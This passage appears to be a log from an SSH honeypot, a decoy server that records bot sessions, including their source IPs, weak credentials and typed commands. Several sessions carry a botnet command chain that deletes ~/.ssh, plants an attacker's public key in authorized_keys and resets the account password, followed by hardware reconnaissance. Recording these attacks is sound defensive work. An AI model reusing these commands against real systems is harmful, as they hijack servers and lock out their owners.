2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:35:46.767463+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:35:47.562883+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:35:47.862157+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:35:48.652134+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:35:48.951297+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:35:49.699064+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-27T12:35:49.997804+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:35:51.041470+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:35:51.341318+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:35:53.414010+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"user123456","method":"password","accepted":true,"tier":"other"}]} {"id":"d331a879-855c-450e-b3a6-ec98cec99240","name":"brazen-upland-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37660,"username":"admin123","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":346,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:35:51.172555+00:00","ended_at":"2026-08-27T12:35:52.995733+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T12:35:33.286184+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:35:33.629771+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:35:37.663170+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:35:37.969295+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:35:38.314758+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin\\nt3JC8mLo87wz\\nt3JC8mLo87wz\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:35:38.661088+00:00","kind":"input","latency_ms":null,"data":"echo \"admin\\nt3JC8mLo87wz\\nt3JC8mLo87wz\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:35:39.006384+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:35:39.696509+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:35:40.042545+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:35:41.073110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:35:41.433139+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:35:42.766565+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:35:43.110967+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:35:43.614406+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:35:43.960143+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:35:44.630247+00:00","kind":"output","latency_ms":null,"data":" 12:35:44 up 7 days, 9:25, 0 user, load average: 0.31, 0.4, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:35:44.978279+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:35:45.437472+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:35:45.782673+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:35:46.062945+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:35:46.408045+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:35:46.727684+00:00","kind":"output","latency_ms":null,"data":"top - 12:35:46 up 7 days, 9:25, 0 user, load average: 0.31, 0.4, 0.24\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:35:47.077515+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:35:47.549108+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:35:47.895789+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:35:48.365947+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:35:48.711921+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:35:49.179341+00:00","kind":"output","latency_ms":null,"data":"admin123"},{"seq":29,"at":"2026-08-27T12:35:49.527349+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:35:50.826402+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:35:51.174351+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:35:52.891483+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin123","password":"admin","method":"password","accepted":true,"tier":"other"}]} {"id":"6bff129b-5dbc-4096-be09-3d86b0074ffd","name":"mindful-airy-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":52984,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:35:41.014519+00:00","ended_at":"2026-08-27T12:35:42.372176+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2243,"events":[{"seq":1,"at":"2026-08-27T12:35:23.510903+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:35:23.772793+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:35:27.214312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:35:27.953582+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:35:28.213652+00:00","kind":"input","latency_ms":null,"data":"echo -e \"a\\nUxAQ8MKphSau\\nUxAQ8MKphSau\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:35:28.474311+00:00","kind":"input","latency_ms":null,"data":"echo \"a\\nUxAQ8MKphSau\\nUxAQ8MKphSau\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:35:28.735892+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:35:29.409139+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:35:29.670615+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:35:30.576629+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:35:30.856374+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:35:32.192484+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:35:32.460579+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:35:32.836435+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:35:33.096521+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:35:33.817452+00:00","kind":"output","latency_ms":null,"data":" 12:35:33 up 7 days, 9:25, 0 user, load average: 0.19, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:35:34.081293+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:35:34.356909+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:35:34.617753+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:35:35.362419+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:35:35.623603+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:35:36.246852+00:00","kind":"output","latency_ms":null,"data":"top - 12:35:36 up 7 days, 9:25, 0 user, load average: 0.19, 0.24, 0.18\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:35:36.508003+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:35:37.103335+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:35:37.379283+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:35:38.240751+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:35:38.498648+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:35:39.277853+00:00","kind":"output","latency_ms":null,"data":"deploy"},{"seq":29,"at":"2026-08-27T12:35:39.540324+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:35:40.747195+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:35:41.015123+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:35:42.295041+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deploy","password":"a","method":"password","accepted":true,"tier":"other"}]} {"id":"d780caf3-d73f-4557-a6f8-9cc9624808ac","name":"sterling-placid-stoat","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":48326,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:36.348766+00:00","ended_at":"2026-08-27T12:35:38.223388+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"beb2eb41-e143-4bbb-8a2b-750e77bf5985","name":"alpine-oaken-cassowary","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37678,"username":"admin123","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:35.908111+00:00","ended_at":"2026-08-27T12:35:37.559532+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin123","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e344c064-0a2b-4585-b6cc-1de1e4ebe998","name":"knotted-sturdy-sable","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37674,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:34.382289+00:00","ended_at":"2026-08-27T12:35:35.255734+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e479c537-8cbf-453b-b98b-21b4fdb72899","name":"pristine-gleaming-dingo","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":57442,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:33.784049+00:00","ended_at":"2026-08-27T12:35:35.754740+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e2cee207-c320-4c93-ae0a-b9e5e607dad8","name":"velvet-granite-dolphin","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":53010,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:25.663054+00:00","ended_at":"2026-08-27T12:35:27.141322+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"deploy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"38c40f76-355e-43c9-b7bf-0f4408d0ace6","name":"creaky-sooty-condor","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":53000,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:24.371041+00:00","ended_at":"2026-08-27T12:35:25.146167+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c9163700-dddd-4c9e-87fc-8d26d10df5e4","name":"rugged-daring-hedgehog","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":46530,"username":"xrpl","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":205,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:34:52.576344+00:00","ended_at":"2026-08-27T12:34:52.680152+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:34:50.823166+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:34:51.342768+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:34:51.548237+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:34:51.548868+00:00","kind":"output","latency_ms":null,"data":" 12:34:51 up 7 days, 9:24, 0 user, load average: 0.11, 0.08, 0.08"},{"seq":5,"at":"2026-08-27T12:34:51.753919+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:34:51.754363+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:34:51.959188+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:34:51.959770+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:34:52.165996+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:34:52.166475+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:34:52.372228+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:34:52.372687+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:34:52.577211+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:34:52.577643+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"xrpl","password":"xrpl","method":"password","accepted":true,"tier":"other"}]} {"id":"7821f2a4-c97d-4d17-94f9-e1d3d89ec220","name":"sullen-pleasant-skink","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59726,"username":"dockeruser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":442,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:34:45.065151+00:00","ended_at":"2026-08-27T12:34:46.235008+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2261,"events":[{"seq":1,"at":"2026-08-27T12:34:20.381405+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:34:20.829521+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:34:25.823811+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:34:26.616959+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:34:27.058678+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nWlb1OCoeI7mI\\nWlb1OCoeI7mI\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:34:27.497160+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nWlb1OCoeI7mI\\nWlb1OCoeI7mI\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:34:27.937292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:34:28.268150+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:34:28.709045+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:34:29.902808+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:34:30.344030+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:34:31.209814+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:34:31.654840+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:34:32.477699+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:34:32.921248+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:34:33.414273+00:00","kind":"output","latency_ms":null,"data":" 12:34:33 up 7 days, 9:24, 0 user, load average: 0.06, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:34:33.856157+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:34:34.421392+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:34:34.862768+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:34:35.664430+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:34:36.104470+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:34:36.947299+00:00","kind":"output","latency_ms":null,"data":"top - 12:34:36 up 7 days, 9:24, 0 user, load average: 0.06, 0.07, 0.05\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:34:37.394911+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:34:38.026439+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:34:38.467524+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:34:38.795200+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:34:42.413402+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:34:43.282153+00:00","kind":"output","latency_ms":null,"data":"dockeruser"},{"seq":29,"at":"2026-08-27T12:34:43.728873+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:34:44.627842+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:34:45.067721+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:34:46.097686+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dockeruser","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"6162c3fb-7cf0-44a8-9579-9316ac5429bf","name":"cosmic-dappled-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":49784,"username":"talha","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":727,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:34:33.053070+00:00","ended_at":"2026-08-27T12:34:34.292996+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:34:04.858143+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:34:05.589065+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 